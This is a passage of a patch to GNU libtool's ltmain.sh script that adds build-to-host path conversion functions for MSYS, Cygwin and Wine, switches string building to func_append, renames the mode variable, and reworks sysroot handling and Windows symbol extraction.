++ func_cygpath -u "$func_convert_core_msys_to_w32_result"
++ func_to_host_file_result="$func_cygpath_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_msys_to_cygwin
++
++
++# func_convert_file_nix_to_cygwin ARG
++# Convert file name ARG from *nix to Cygwin format. Requires Cygwin installed
++# in a wine environment, working winepath, and LT_CYGPATH set. Returns result
++# in func_to_host_file_result.
++func_convert_file_nix_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_file_result="$1"
++ if test -n "$1"; then
++ # convert from *nix to w32, then use cygpath to convert from w32 to cygwin.
++ func_convert_core_file_wine_to_w32 "$1"
++ func_cygpath -u "$func_convert_core_file_wine_to_w32_result"
++ func_to_host_file_result="$func_cygpath_result"
++ fi
++ func_convert_file_check "$1" "$func_to_host_file_result"
++}
++# end func_convert_file_nix_to_cygwin
++
++
++#############################################
++# $build to $host PATH CONVERSION FUNCTIONS #
++#############################################
++# invoked via `$to_host_path_cmd ARG'
++#
++# In each case, ARG is the path to be converted from $build to $host format.
++# The result will be available in $func_to_host_path_result.
++#
++# Path separators are also converted from $build format to $host format. If
++# ARG begins or ends with a path separator character, it is preserved (but
++# converted to $host format) on output.
++#
++# All path conversion functions are named using the following convention:
++# file name conversion function : func_convert_file_X_to_Y ()
++# path conversion function : func_convert_path_X_to_Y ()
++# where, for any given $build/$host combination the 'X_to_Y' value is the
++# same. If conversion functions are added for new $build/$host combinations,
++# the two new functions must follow this pattern, or func_init_to_host_path_cmd
++# will break.
++
++
++# func_init_to_host_path_cmd
++# Ensures that function "pointer" variable $to_host_path_cmd is set to the
++# appropriate value, based on the value of $to_host_file_cmd.
++to_host_path_cmd=
++func_init_to_host_path_cmd ()
++{
++ $opt_debug
++ if test -z "$to_host_path_cmd"; then
++ func_stripname 'func_convert_file_' '' "$to_host_file_cmd"
++ to_host_path_cmd="func_convert_path_${func_stripname_result}"
++ fi
++}
++
++
++# func_to_host_path ARG
++# Converts the path ARG from $build format to $host format. Return result
++# in func_to_host_path_result.
++func_to_host_path ()
++{
++ $opt_debug
++ func_init_to_host_path_cmd
++ $to_host_path_cmd "$1"
++}
++# end func_to_host_path
++
++
++# func_convert_path_noop ARG
++# Copy ARG to func_to_host_path_result.
++func_convert_path_noop ()
++{
++ func_to_host_path_result="$1"
++}
++# end func_convert_path_noop
++
++
++# func_convert_path_msys_to_w32 ARG
++# Convert path ARG from (mingw) MSYS to (mingw) w32 format; automatic
++# conversion to w32 is not available inside the cwrapper. Returns result in
++# func_to_host_path_result.
++func_convert_path_msys_to_w32 ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # Remove leading and trailing path separator characters from ARG. MSYS
++ # behavior is inconsistent here; cygpath turns them into '.;' and ';.';
++ # and winepath ignores them completely.
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
++ func_to_host_path_result="$func_convert_core_msys_to_w32_result"
++ func_convert_path_check : ";" \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
++ fi
++}
++# end func_convert_path_msys_to_w32
++
++
++# func_convert_path_cygwin_to_w32 ARG
++# Convert path ARG from Cygwin to w32 format. Returns result in
++# func_to_host_file_result.
++func_convert_path_cygwin_to_w32 ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # See func_convert_path_msys_to_w32:
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_to_host_path_result=`cygpath -m -p "$func_to_host_path_tmp1"`
++ func_convert_path_check : ";" \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
++ fi
++}
++# end func_convert_path_cygwin_to_w32
++
++
++# func_convert_path_nix_to_w32 ARG
++# Convert path ARG from *nix to w32 format. Requires a wine environment and
++# a working winepath. Returns result in func_to_host_file_result.
++func_convert_path_nix_to_w32 ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # See func_convert_path_msys_to_w32:
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
++ func_to_host_path_result="$func_convert_core_path_wine_to_w32_result"
++ func_convert_path_check : ";" \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" ";" "$1"
++ fi
++}
++# end func_convert_path_nix_to_w32
++
++
++# func_convert_path_msys_to_cygwin ARG
++# Convert path ARG from MSYS to Cygwin format. Requires LT_CYGPATH set.
++# Returns result in func_to_host_file_result.
++func_convert_path_msys_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # See func_convert_path_msys_to_w32:
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_msys_to_w32 "$func_to_host_path_tmp1"
++ func_cygpath -u -p "$func_convert_core_msys_to_w32_result"
++ func_to_host_path_result="$func_cygpath_result"
++ func_convert_path_check : : \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
++ fi
++}
++# end func_convert_path_msys_to_cygwin
++
++
++# func_convert_path_nix_to_cygwin ARG
++# Convert path ARG from *nix to Cygwin format. Requires Cygwin installed in a
++# a wine environment, working winepath, and LT_CYGPATH set. Returns result in
++# func_to_host_file_result.
++func_convert_path_nix_to_cygwin ()
++{
++ $opt_debug
++ func_to_host_path_result="$1"
++ if test -n "$1"; then
++ # Remove leading and trailing path separator characters from
++ # ARG. msys behavior is inconsistent here, cygpath turns them
++ # into '.;' and ';.', and winepath ignores them completely.
++ func_stripname : : "$1"
++ func_to_host_path_tmp1=$func_stripname_result
++ func_convert_core_path_wine_to_w32 "$func_to_host_path_tmp1"
++ func_cygpath -u -p "$func_convert_core_path_wine_to_w32_result"
++ func_to_host_path_result="$func_cygpath_result"
++ func_convert_path_check : : \
++ "$func_to_host_path_tmp1" "$func_to_host_path_result"
++ func_convert_path_front_back_pathsep ":*" "*:" : "$1"
++ fi
++}
++# end func_convert_path_nix_to_cygwin
++
++
+ # func_mode_compile arg...
+ func_mode_compile ()
+ {
+@@ -1314,12 +1985,12 @@ func_mode_compile ()
+ ;;
+
+ -pie | -fpie | -fPIE)
+- pie_flag="$pie_flag $arg"
++ func_append pie_flag " $arg"
+ continue
+ ;;
+
+ -shared | -static | -prefer-pic | -prefer-non-pic)
+- later="$later $arg"
++ func_append later " $arg"
+ continue
+ ;;
+
+@@ -1340,15 +2011,14 @@ func_mode_compile ()
+ save_ifs="$IFS"; IFS=','
+ for arg in $args; do
+ IFS="$save_ifs"
+- func_quote_for_eval "$arg"
+- lastarg="$lastarg $func_quote_for_eval_result"
++ func_append_quoted lastarg "$arg"
+ done
+ IFS="$save_ifs"
+ func_stripname ' ' '' "$lastarg"
+ lastarg=$func_stripname_result
+
+ # Add the arguments to base_compile.
+- base_compile="$base_compile $lastarg"
++ func_append base_compile " $lastarg"
+ continue
+ ;;
+
+@@ -1364,8 +2034,7 @@ func_mode_compile ()
+ esac # case $arg_mode
+
+ # Aesthetically quote the previous argument.
+- func_quote_for_eval "$lastarg"
+- base_compile="$base_compile $func_quote_for_eval_result"
++ func_append_quoted base_compile "$lastarg"
+ done # for arg
+
+ case $arg_mode in
+@@ -1496,17 +2165,16 @@ compiler."
+ $opt_dry_run || $RM $removelist
+ exit $EXIT_FAILURE
+ fi
+- removelist="$removelist $output_obj"
++ func_append removelist " $output_obj"
+ $ECHO "$srcfile" > "$lockfile"
+ fi
+
+ $opt_dry_run || $RM $removelist
+- removelist="$removelist $lockfile"
++ func_append removelist " $lockfile"
+ trap '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE' 1 2 15
+
+- if test -n "$fix_srcfile_path"; then
+- eval "srcfile=\"$fix_srcfile_path\""
+- fi
++ func_to_tool_file "$srcfile" func_convert_file_msys_to_w32
++ srcfile=$func_to_tool_file_result
+ func_quote_for_eval "$srcfile"
+ qsrcfile=$func_quote_for_eval_result
+
+@@ -1526,7 +2194,7 @@ compiler."
+
+ if test -z "$output_obj"; then
+ # Place PIC objects in $objdir
+- command="$command -o $lobj"
++ func_append command " -o $lobj"
+ fi
+
+ func_show_eval_locale "$command" \
+@@ -1573,11 +2241,11 @@ compiler."
+ command="$base_compile $qsrcfile $pic_flag"
+ fi
+ if test "$compiler_c_o" = yes; then
+- command="$command -o $obj"
++ func_append command " -o $obj"
+ fi
+
+ # Suppress compiler output if we already did a PIC compilation.
+- command="$command$suppress_output"
++ func_append command "$suppress_output"
+ func_show_eval_locale "$command" \
+ '$opt_dry_run || $RM $removelist; exit $EXIT_FAILURE'
+
+@@ -1622,13 +2290,13 @@ compiler."
+ }
+
+ $opt_help || {
+- test "$mode" = compile && func_mode_compile ${1+"$@"}
++ test "$opt_mode" = compile && func_mode_compile ${1+"$@"}
+ }
+
+ func_mode_help ()
+ {
+ # We need to display help for each of the modes.
+- case $mode in
++ case $opt_mode in
+ "")
+ # Generic help is extracted from the usage comments
+ # at the start of this file.
+@@ -1659,8 +2327,8 @@ This mode accepts the following additional options:
+
+ -o OUTPUT-FILE set the output file name to OUTPUT-FILE
+ -no-suppress do not suppress compiler output for multiple passes
+- -prefer-pic try to building PIC objects only
+- -prefer-non-pic try to building non-PIC objects only
++ -prefer-pic try to build PIC objects only
++ -prefer-non-pic try to build non-PIC objects only
+ -shared do not build a \`.o' file suitable for static linking
+ -static only build a \`.o' file suitable for static linking
+ -Wc,FLAG pass FLAG directly to the compiler
+@@ -1804,7 +2472,7 @@ Otherwise, only FILE itself is deleted using RM."
+ ;;
+
+ *)
+- func_fatal_help "invalid operation mode \`$mode'"
++ func_fatal_help "invalid operation mode \`$opt_mode'"
+ ;;
+ esac
+
+@@ -1819,13 +2487,13 @@ if $opt_help; then
+ else
+ {
+ func_help noexit
+- for mode in compile link execute install finish uninstall clean; do
++ for opt_mode in compile link execute install finish uninstall clean; do
+ func_mode_help
+ done
+ } | sed -n '1p; 2,$s/^Usage:/ or: /p'
+ {
+ func_help noexit
+- for mode in compile link execute install finish uninstall clean; do
++ for opt_mode in compile link execute install finish uninstall clean; do
+ echo
+ func_mode_help
+ done
+@@ -1854,13 +2522,16 @@ func_mode_execute ()
+ func_fatal_help "you must specify a COMMAND"
+
+ # Handle -dlopen flags immediately.
+- for file in $execute_dlfiles; do
++ for file in $opt_dlopen; do
+ test -f "$file" \
+ || func_fatal_help "\`$file' is not a file"
+
+ dir=
+ case $file in
+ *.la)
++ func_resolve_sysroot "$file"
++ file=$func_resolve_sysroot_result
++
+ # Check to see that this really is a libtool archive.
+ func_lalib_unsafe_p "$file" \
+ || func_fatal_help "\`$lib' is not a valid libtool archive"
+@@ -1882,7 +2553,7 @@ func_mode_execute ()
+ dir="$func_dirname_result"
+
+ if test -f "$dir/$objdir/$dlname"; then
+- dir="$dir/$objdir"
++ func_append dir "/$objdir"
+ else
+ if test ! -f "$dir/$dlname"; then
+ func_fatal_error "cannot find \`$dlname' in \`$dir' or \`$dir/$objdir'"
+@@ -1907,10 +2578,10 @@ func_mode_execute ()
+ test -n "$absdir" && dir="$absdir"
+
+ # Now add the directory to shlibpath_var.
+- if eval test -z \"\$$shlibpath_var\"; then
+- eval $shlibpath_var=\$dir
++ if eval "test -z \"\$$shlibpath_var\""; then
++ eval "$shlibpath_var=\"\$dir\""
+ else
+- eval $shlibpath_var=\$dir:\$$shlibpath_var
++ eval "$shlibpath_var=\"\$dir:\$$shlibpath_var\""
+ fi
+ done
+
+@@ -1939,8 +2610,7 @@ func_mode_execute ()
+ ;;
+ esac
+ # Quote arguments (to preserve shell metacharacters).
+- func_quote_for_eval "$file"
+- args="$args $func_quote_for_eval_result"
++ func_append_quoted args "$file"
+ done
+
+ if test "X$opt_dry_run" = Xfalse; then
+@@ -1972,22 +2642,59 @@ func_mode_execute ()
+ fi
+ }
+
+-test "$mode" = execute && func_mode_execute ${1+"$@"}
++test "$opt_mode" = execute && func_mode_execute ${1+"$@"}
+
+
+ # func_mode_finish arg...
+ func_mode_finish ()
+ {
+ $opt_debug
+- libdirs="$nonopt"
++ libs=
++ libdirs=
+ admincmds=
+
+- if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
+- for dir
+- do
+- libdirs="$libdirs $dir"
+- done
++ for opt in "$nonopt" ${1+"$@"}
++ do
++ if test -d "$opt"; then
++ func_append libdirs " $opt"
+
++ elif test -f "$opt"; then
++ if func_lalib_unsafe_p "$opt"; then
++ func_append libs " $opt"
++ else
++ func_warning "\`$opt' is not a valid libtool archive"
++ fi
++
++ else
++ func_fatal_error "invalid argument \`$opt'"
++ fi
++ done
++
++ if test -n "$libs"; then
++ if test -n "$lt_sysroot"; then
++ sysroot_regex=`$ECHO "$lt_sysroot" | $SED "$sed_make_literal_regex"`
++ sysroot_cmd="s/\([ ']\)$sysroot_regex/\1/g;"
++ else
++ sysroot_cmd=
++ fi
++
++ # Remove sysroot references
++ if $opt_dry_run; then
++ for lib in $libs; do
++ echo "removing references to $lt_sysroot and \`=' prefixes from $lib"
++ done
++ else
++ tmpdir=`func_mktempdir`
++ for lib in $libs; do
++ sed -e "${sysroot_cmd} s/\([ ']-[LR]\)=/\1/g; s/\([ ']\)=/\1/g" $lib \
++ > $tmpdir/tmp-la
++ mv -f $tmpdir/tmp-la $lib
++ done
++ ${RM}r "$tmpdir"
++ fi
++ fi
++
++ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
+ for libdir in $libdirs; do
+ if test -n "$finish_cmds"; then
+ # Do each command in the finish commands.
+@@ -1997,7 +2704,7 @@ func_mode_finish ()
+ if test -n "$finish_eval"; then
+ # Do the single finish_eval.
+ eval cmds=\"$finish_eval\"
+- $opt_dry_run || eval "$cmds" || admincmds="$admincmds
++ $opt_dry_run || eval "$cmds" || func_append admincmds "
+ $cmds"
+ fi
+ done
+@@ -2006,53 +2713,55 @@ func_mode_finish ()
+ # Exit here if they wanted silent mode.
+ $opt_silent && exit $EXIT_SUCCESS
+
+- echo "----------------------------------------------------------------------"
+- echo "Libraries have been installed in:"
+- for libdir in $libdirs; do
+- $ECHO " $libdir"
+- done
+- echo
+- echo "If you ever happen to want to link against installed libraries"
+- echo "in a given directory, LIBDIR, you must either use libtool, and"
+- echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
+- echo "flag during linking and do at least one of the following:"
+- if test -n "$shlibpath_var"; then
+- echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
+- echo " during execution"
+- fi
+- if test -n "$runpath_var"; then
+- echo " - add LIBDIR to the \`$runpath_var' environment variable"
+- echo " during linking"
+- fi
+- if test -n "$hardcode_libdir_flag_spec"; then
+- libdir=LIBDIR
+- eval "flag=\"$hardcode_libdir_flag_spec\""
++ if test -n "$finish_cmds$finish_eval" && test -n "$libdirs"; then
++ echo "----------------------------------------------------------------------"
++ echo "Libraries have been installed in:"
++ for libdir in $libdirs; do
++ $ECHO " $libdir"
++ done
++ echo
++ echo "If you ever happen to want to link against installed libraries"
++ echo "in a given directory, LIBDIR, you must either use libtool, and"
++ echo "specify the full pathname of the library, or use the \`-LLIBDIR'"
++ echo "flag during linking and do at least one of the following:"
++ if test -n "$shlibpath_var"; then
++ echo " - add LIBDIR to the \`$shlibpath_var' environment variable"
++ echo " during execution"
++ fi
++ if test -n "$runpath_var"; then
++ echo " - add LIBDIR to the \`$runpath_var' environment variable"
++ echo " during linking"
++ fi
++ if test -n "$hardcode_libdir_flag_spec"; then
++ libdir=LIBDIR
++ eval flag=\"$hardcode_libdir_flag_spec\"
+
+- $ECHO " - use the \`$flag' linker flag"
+- fi
+- if test -n "$admincmds"; then
+- $ECHO " - have your system administrator run these commands:$admincmds"
+- fi
+- if test -f /etc/ld.so.conf; then
+- echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
+- fi
+- echo
++ $ECHO " - use the \`$flag' linker flag"
++ fi
++ if test -n "$admincmds"; then
++ $ECHO " - have your system administrator run these commands:$admincmds"
++ fi
++ if test -f /etc/ld.so.conf; then
++ echo " - have your system administrator add LIBDIR to \`/etc/ld.so.conf'"
++ fi
++ echo
+
+- echo "See any operating system documentation about shared libraries for"
+- case $host in
+- solaris2.[6789]|solaris2.1[0-9])
+- echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
+- echo "pages."
+- ;;
+- *)
+- echo "more information, such as the ld(1) and ld.so(8) manual pages."
+- ;;
+- esac
+- echo "----------------------------------------------------------------------"
++ echo "See any operating system documentation about shared libraries for"
++ case $host in
++ solaris2.[6789]|solaris2.1[0-9])
++ echo "more information, such as the ld(1), crle(1) and ld.so(8) manual"
++ echo "pages."
++ ;;
++ *)
++ echo "more information, such as the ld(1) and ld.so(8) manual pages."
++ ;;
++ esac
++ echo "----------------------------------------------------------------------"
++ fi
+ exit $EXIT_SUCCESS
+ }
+
+-test "$mode" = finish && func_mode_finish ${1+"$@"}
++test "$opt_mode" = finish && func_mode_finish ${1+"$@"}
+
+
+ # func_mode_install arg...
+@@ -2077,7 +2786,7 @@ func_mode_install ()
+ # The real first argument should be the name of the installation program.
+ # Aesthetically quote it.
+ func_quote_for_eval "$arg"
+- install_prog="$install_prog$func_quote_for_eval_result"
++ func_append install_prog "$func_quote_for_eval_result"
+ install_shared_prog=$install_prog
+ case " $install_prog " in
+ *[\\\ /]cp\ *) install_cp=: ;;
+@@ -2097,7 +2806,7 @@ func_mode_install ()
+ do
+ arg2=
+ if test -n "$dest"; then
+- files="$files $dest"
++ func_append files " $dest"
+ dest=$arg
+ continue
+ fi
+@@ -2135,11 +2844,11 @@ func_mode_install ()
+
+ # Aesthetically quote the argument.
+ func_quote_for_eval "$arg"
+- install_prog="$install_prog $func_quote_for_eval_result"
++ func_append install_prog " $func_quote_for_eval_result"
+ if test -n "$arg2"; then
+ func_quote_for_eval "$arg2"
+ fi
+- install_shared_prog="$install_shared_prog $func_quote_for_eval_result"
++ func_append install_shared_prog " $func_quote_for_eval_result"
+ done
+
+ test -z "$install_prog" && \
+@@ -2151,7 +2860,7 @@ func_mode_install ()
+ if test -n "$install_override_mode" && $no_mode; then
+ if $install_cp; then :; else
+ func_quote_for_eval "$install_override_mode"
+- install_shared_prog="$install_shared_prog -m $func_quote_for_eval_result"
++ func_append install_shared_prog " -m $func_quote_for_eval_result"
+ fi
+ fi
+
+@@ -2209,10 +2918,13 @@ func_mode_install ()
+ case $file in
+ *.$libext)
+ # Do the static libraries later.
+- staticlibs="$staticlibs $file"
++ func_append staticlibs " $file"
+ ;;
+
+ *.la)
++ func_resolve_sysroot "$file"
++ file=$func_resolve_sysroot_result
++
+ # Check to see that this really is a libtool archive.
+ func_lalib_unsafe_p "$file" \
+ || func_fatal_help "\`$file' is not a valid libtool archive"
+@@ -2226,23 +2938,30 @@ func_mode_install ()
+ if test "X$destdir" = "X$libdir"; then
+ case "$current_libdirs " in
+ *" $libdir "*) ;;
+- *) current_libdirs="$current_libdirs $libdir" ;;
++ *) func_append current_libdirs " $libdir" ;;
+ esac
+ else
+ # Note the libdir as a future libdir.
+ case "$future_libdirs " in
+ *" $libdir "*) ;;
+- *) future_libdirs="$future_libdirs $libdir" ;;
++ *) func_append future_libdirs " $libdir" ;;
+ esac
+ fi
+
+ func_dirname "$file" "/" ""
+ dir="$func_dirname_result"
+- dir="$dir$objdir"
++ func_append dir "$objdir"
+
+ if test -n "$relink_command"; then
++ # Strip any trailing slash from the destination.
++ func_stripname '' '/' "$libdir"
++ destlibdir=$func_stripname_result
++
++ func_stripname '' '/' "$destdir"
++ s_destdir=$func_stripname_result
++
+ # Determine the prefix the user has applied to our future dir.
+- inst_prefix_dir=`$ECHO "$destdir" | $SED -e "s%$libdir\$%%"`
++ inst_prefix_dir=`$ECHO "X$s_destdir" | $Xsed -e "s%$destlibdir\$%%"`
+
+ # Don't allow the user to place us outside of our expected
+ # location b/c this prevents finding dependent libraries that
+@@ -2315,7 +3034,7 @@ func_mode_install ()
+ func_show_eval "$install_prog $instname $destdir/$name" 'exit $?'
+
+ # Maybe install the static library, too.
+- test -n "$old_library" && staticlibs="$staticlibs $dir/$old_library"
++ test -n "$old_library" && func_append staticlibs " $dir/$old_library"
+ ;;
+
+ *.lo)
+@@ -2503,7 +3222,7 @@ func_mode_install ()
+ test -n "$future_libdirs" && \
+ func_warning "remember to run \`$progname --finish$future_libdirs'"
+
+- if test -n "$current_libdirs" && $opt_finish; then
++ if test -n "$current_libdirs"; then
+ # Maybe just do a dry run.
+ $opt_dry_run && current_libdirs=" -n$current_libdirs"
+ exec_cmd='$SHELL $progpath $preserve_args --finish$current_libdirs'
+@@ -2512,7 +3231,7 @@ func_mode_install ()
+ fi
+ }
+
+-test "$mode" = install && func_mode_install ${1+"$@"}
++test "$opt_mode" = install && func_mode_install ${1+"$@"}
+
+
+ # func_generate_dlsyms outputname originator pic_p
+@@ -2559,6 +3278,18 @@ extern \"C\" {
+ #pragma GCC diagnostic ignored \"-Wstrict-prototypes\"
+ #endif
+
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ /* External symbol declarations for the compiler. */\
+ "
+
+@@ -2570,21 +3301,22 @@ extern \"C\" {
+ # Add our own program objects to the symbol list.
+ progfiles=`$ECHO "$objs$old_deplibs" | $SP2NL | $SED "$lo2o" | $NL2SP`
+ for progfile in $progfiles; do
+- func_verbose "extracting global C symbols from \`$progfile'"
+- $opt_dry_run || eval "$NM $progfile | $global_symbol_pipe >> '$nlist'"
++ func_to_tool_file "$progfile" func_convert_file_msys_to_w32
++ func_verbose "extracting global C symbols from \`$func_to_tool_file_result'"
++ $opt_dry_run || eval "$NM $func_to_tool_file_result | $global_symbol_pipe >> '$nlist'"
+ done
+
+ if test -n "$exclude_expsyms"; then
+ $opt_dry_run || {
+- $EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T
+- $MV "$nlist"T "$nlist"
++ eval '$EGREP -v " ($exclude_expsyms)$" "$nlist" > "$nlist"T'
++ eval '$MV "$nlist"T "$nlist"'
+ }
+ fi
+
+ if test -n "$export_symbols_regex"; then
+ $opt_dry_run || {
+- $EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T
+- $MV "$nlist"T "$nlist"
++ eval '$EGREP -e "$export_symbols_regex" "$nlist" > "$nlist"T'
++ eval '$MV "$nlist"T "$nlist"'
+ }
+ fi
+
+@@ -2593,23 +3325,23 @@ extern \"C\" {
+ export_symbols="$output_objdir/$outputname.exp"
+ $opt_dry_run || {
+ $RM $export_symbols
+- ${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' < "$nlist" > "$export_symbols"
++ eval "${SED} -n -e '/^: @PROGRAM@ $/d' -e 's/^.* \(.*\)$/\1/p' "'< "$nlist" > "$export_symbols"'
+ case $host in
+ *cygwin* | *mingw* | *cegcc* )
+- echo EXPORTS > "$output_objdir/$outputname.def"
+- cat "$export_symbols" >> "$output_objdir/$outputname.def"
++ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
++ eval 'cat "$export_symbols" >> "$output_objdir/$outputname.def"'
+ ;;
+ esac
+ }
+ else
+ $opt_dry_run || {
+- ${SED} -e 's/\([].[*^$]\)/\\\1/g' -e 's/^/ /' -e 's/$/$/' < "$export_symbols" > "$output_objdir/$outputname.exp"
+- $GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T
+- $MV "$nlist"T "$nlist"
++ eval "${SED} -e 's/\([].[*^$]\)/\\\\\1/g' -e 's/^/ /' -e 's/$/$/'"' < "$export_symbols" > "$output_objdir/$outputname.exp"'
++ eval '$GREP -f "$output_objdir/$outputname.exp" < "$nlist" > "$nlist"T'
++ eval '$MV "$nlist"T "$nlist"'
+ case $host in
+ *cygwin* | *mingw* | *cegcc* )
+- echo EXPORTS > "$output_objdir/$outputname.def"
+- cat "$nlist" >> "$output_objdir/$outputname.def"
++ eval "echo EXPORTS "'> "$output_objdir/$outputname.def"'
++ eval 'cat "$nlist" >> "$output_objdir/$outputname.def"'
+ ;;
+ esac
+ }
+@@ -2620,10 +3352,52 @@ extern \"C\" {
+ func_verbose "extracting global C symbols from \`$dlprefile'"
+ func_basename "$dlprefile"
+ name="$func_basename_result"
+- $opt_dry_run || {
+- $ECHO ": $name " >> "$nlist"
+- eval "$NM $dlprefile 2>/dev/null | $global_symbol_pipe >> '$nlist'"
+- }
++ case $host in
++ *cygwin* | *mingw* | *cegcc* )
++ # if an import library, we need to obtain dlname
++ if func_win32_import_lib_p "$dlprefile"; then
++ func_tr_sh "$dlprefile"
++ eval "curr_lafile=\$libfile_$func_tr_sh_result"
++ dlprefile_dlbasename=""
++ if test -n "$curr_lafile" && func_lalib_p "$curr_lafile"; then
++ # Use subshell, to avoid clobbering current variable values
++ dlprefile_dlname=`source "$curr_lafile" && echo "$dlname"`
++ if test -n "$dlprefile_dlname" ; then
++ func_basename "$dlprefile_dlname"
++ dlprefile_dlbasename="$func_basename_result"
++ else
++ # no lafile. user explicitly requested -dlpreopen <import library>.
++ $sharedlib_from_linklib_cmd "$dlprefile"
++ dlprefile_dlbasename=$sharedlib_from_linklib_result
++ fi
++ fi
++ $opt_dry_run || {
++ if test -n "$dlprefile_dlbasename" ; then
++ eval '$ECHO ": $dlprefile_dlbasename" >> "$nlist"'
++ else
++ func_warning "Could not compute DLL name from $name"
++ eval '$ECHO ": $name " >> "$nlist"'
++ fi
++ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
++ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe |
++ $SED -e '/I __imp/d' -e 's/I __nm_/D /;s/_nm__//' >> '$nlist'"
++ }
++ else # not an import lib
++ $opt_dry_run || {
++ eval '$ECHO ": $name " >> "$nlist"'
++ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
++ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
++ }
++ fi
++ ;;
++ *)
++ $opt_dry_run || {
++ eval '$ECHO ": $name " >> "$nlist"'
++ func_to_tool_file "$dlprefile" func_convert_file_msys_to_w32
++ eval "$NM \"$func_to_tool_file_result\" 2>/dev/null | $global_symbol_pipe >> '$nlist'"
++ }
++ ;;
++ esac
+ done
+
+ $opt_dry_run || {
+@@ -2661,26 +3435,9 @@ typedef struct {
+ const char *name;
+ void *address;
+ } lt_dlsymlist;
+-"
+- case $host in
+- *cygwin* | *mingw* | *cegcc* )
+- echo >> "$output_objdir/$my_dlsyms" "\
+-/* DATA imports from DLLs on WIN32 con't be const, because
+- runtime relocations are performed -- see ld's documentation
+- on pseudo-relocs. */"
+- lt_dlsym_const= ;;
+- *osf5*)
+- echo >> "$output_objdir/$my_dlsyms" "\
+-/* This system does not cope well with relocations in const data */"
+- lt_dlsym_const= ;;
+- *)
+- lt_dlsym_const=const ;;
+- esac
+-
+- echo >> "$output_objdir/$my_dlsyms" "\
+-extern $lt_dlsym_const lt_dlsymlist
++extern LT_DLSYM_CONST lt_dlsymlist
+ lt_${my_prefix}_LTX_preloaded_symbols[];
+-$lt_dlsym_const lt_dlsymlist
++LT_DLSYM_CONST lt_dlsymlist
+ lt_${my_prefix}_LTX_preloaded_symbols[] =
+ {\
+ { \"$my_originator\", (void *) 0 },"
+@@ -2736,7 +3493,7 @@ static const void *lt_preloaded_setup() {
+ for arg in $LTCFLAGS; do
+ case $arg in
+ -pie | -fpie | -fPIE) ;;
+- *) symtab_cflags="$symtab_cflags $arg" ;;
++ *) func_append symtab_cflags " $arg" ;;
+ esac
+ done
+
+@@ -2796,9 +3553,11 @@ func_win32_libid ()
+ win32_libid_type="x86 archive import"
+ ;;
+ *ar\ archive*) # could be an import, or static
+- if $OBJDUMP -f "$1" | $SED -e '10q' 2>/dev/null |
+- $EGREP 'file format (pe-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
+- win32_nmres=`$NM -f posix -A "$1" |
++ # Keep the egrep pattern in sync with the one in _LT_CHECK_MAGIC_METHOD.
++ if eval $OBJDUMP -f $1 | $SED -e '10q' 2>/dev/null |
++ $EGREP 'file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)' >/dev/null; then
++ func_to_tool_file "$1" func_convert_file_msys_to_w32
++ win32_nmres=`eval $NM -f posix -A \"$func_to_tool_file_result\" |
+ $SED -n -e '
+ 1,100{
+ / I /{
+@@ -2827,6 +3586,131 @@ func_win32_libid ()
+ $ECHO "$win32_libid_type"
+ }
+
++# func_cygming_dll_for_implib ARG
++#
++# Platform-specific function to extract the
++# name of the DLL associated with the specified
++# import library ARG.
++# Invoked by eval'ing the libtool variable
++# $sharedlib_from_linklib_cmd
++# Result is available in the variable
++# $sharedlib_from_linklib_result
++func_cygming_dll_for_implib ()
++{
++ $opt_debug
++ sharedlib_from_linklib_result=`$DLLTOOL --identify-strict --identify "$1"`
++}
++
++# func_cygming_dll_for_implib_fallback_core SECTION_NAME LIBNAMEs
++#
++# The is the core of a fallback implementation of a
++# platform-specific function to extract the name of the
++# DLL associated with the specified import library LIBNAME.
++#
